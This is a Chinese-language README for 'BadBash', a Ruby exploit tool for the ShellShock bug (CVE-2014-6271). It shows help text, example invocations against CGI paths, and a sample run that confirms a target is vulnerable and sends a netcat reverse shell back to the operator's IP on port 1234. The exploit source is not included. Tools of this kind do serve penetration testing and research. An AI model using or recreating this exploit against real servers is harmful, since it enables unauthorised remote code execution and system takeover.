BadBash

CVE-2014-6271 (ShellShock) RCE PoC 工具

======= BadBash 是一个 CVE-2014-6271 RCE 漏洞利用工具。基础版仅检查 HTTP CGI 站点，并仅提供在端口 1234 上的 netcat 反向 shell。

开发者 : Andy Yang 版本 : 0.1.0 许可证 : GPLv3

原始 GitHub 项目 : https://github.com/RainMak3r/Rainstorm

================================================================================================ RainMak3r@Could:~/Desktop# ruby BadBash.rb -h

BadBash - CVE-2014-6271 RCE 工具，作者 Andy Yang 基础版仅检查 HTTP 站点 基础版仅提供在端口 1234 上的 netcat 反向 shell

示例用法：

 ./BBash.rb  -t 'www.target.com/cgi-folder/cgi.sh' -d '127.0.0.1'
 ./BBash.rb  -t '10.0.0.1/cgi-folder/cgi.sh' -d '127.0.0.1'
-t, --Target CGI path            CGI 页面的完整路径
-d, --Destination IP             您的 IP 地址，用于监听入站连接
-h, --help                       显示帮助

================================================================================================ 使用示例。

RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'

[Info] 正在检查目标是否存在漏洞........

[Info] 这最多可能需要 10 秒........

[Info] 目标存在漏洞!!!

[Info] 请使用 NC 在端口 1234 上监听反向 shell..........

[Info] 正在通过 netcat 利用漏洞获取反向 shell 并连接 172.16.189.1:1234 ..........